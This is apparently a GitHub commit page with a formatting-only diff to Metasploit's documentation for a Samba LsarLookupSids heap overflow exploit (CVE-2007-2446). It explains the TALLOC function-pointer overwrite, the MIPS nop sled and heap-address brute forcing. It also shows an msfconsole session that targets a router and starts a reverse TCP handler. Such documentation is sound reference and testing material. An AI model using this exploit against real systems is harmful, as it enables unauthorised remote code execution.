Skip to content

Commit 312f33a

Browse files
author
Brent Cook
committed
minor formatting updates
1 parent 97b7819 commit 312f33a

File tree

1 file changed

+9
-6
lines changed

1 file changed

+9
-6
lines changed

documentation/modules/exploit/linux/samba/lsa_transnames_heap.md

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
## Vulnerable Application
22

3-
Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
3+
Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
4+
45
The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
56

67
## Verification Steps
@@ -19,16 +20,18 @@
1920
### MIPS nop generator
2021

2122
The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effectless nops. At the end of the sled the true payload is added and execution will eventually hit this code.
23+
2224
A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
23-
25+
2426
### Heap address bruteforce
2527

26-
The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly then the nop sled will be hit and code execution will follow. If the nop sled is missed then the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash a new heap address is chosen and exploitation is attempted again.
27-
When porting the exploit to a new system the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
28+
The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again.
29+
30+
When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router, the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
2831

2932
## Scenarios
3033

31-
msf > use exploit/linux/samba/lsa\_transnames_heap
34+
msf > use exploit/linux/samba/lsa\_transnames_heap
3235
msf exploit(lsa\_transnames_heap) > set target 7
3336
target => 7
3437
msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
@@ -53,7 +56,7 @@
5356

5457
msf exploit(lsa\_transnames_heap) > exploit
5558

56-
[*] Started reverse TCP handler on 192.168.1.3:4444
59+
[*] Started reverse TCP handler on 192.168.1.3:4444
5760
[*] 192.168.1.1:445 - Creating nop sled....
5861
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
5962
[*] 192.168.1.1:445 - Connecting to the SMB service...

0 commit comments

Comments
 (0)